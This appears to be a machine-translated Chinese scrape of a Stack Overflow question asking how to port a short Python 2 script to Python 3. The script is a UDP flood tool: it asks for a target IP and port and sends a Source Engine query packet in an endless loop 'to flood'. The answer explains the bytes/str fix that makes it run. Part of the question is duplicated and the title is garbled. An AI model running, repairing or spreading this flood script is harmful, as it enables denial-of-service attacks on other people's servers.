This question already has an answer here:
TypeError: str does not support buffer interface [duplicate]
(1个答案)
3年前关闭。
这是用Python 2.x编写的代码,我想使其在Python 3.x中运行。
这条线在Python 3.x中看起来像什么?
注意:今天以前我从未使用过Python,如果对您来说这是一个愚蠢的问题,请不要开枪。
这是完整的代码,在Python 3中应该看起来像什么?
(1个答案)
3年前关闭。
这是用Python 2.x编写的代码,我想使其在Python 3.x中运行。
这条线在Python 3.x中看起来像什么?
while True:
sock.sendto(bytes,(ip,port))
注意:今天以前我从未使用过Python,如果对您来说这是一个愚蠢的问题,请不要开枪。
这是完整的代码,在Python 3中应该看起来像什么?
import socket, sys
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes = '\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x00'
ip = input("Target IP: ")
port = input("Target Port: ")
print ("Exit the program to stop the flood")
while True:
sock.sendto(bytes,(ip,port))
最佳答案
代码与Python 3完全相同。
区别在于str
类型在Python 3中表示Unicode字符串。str
在Python 2中是字节字符串。
将bytes
转换为bytes
,例如s.encode(encoding)
。还要重命名bytes
以避免与内置名称bytes
混淆。
关于python - TypeError:“str”不支持缓冲接口(interface)4 ,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/13703458/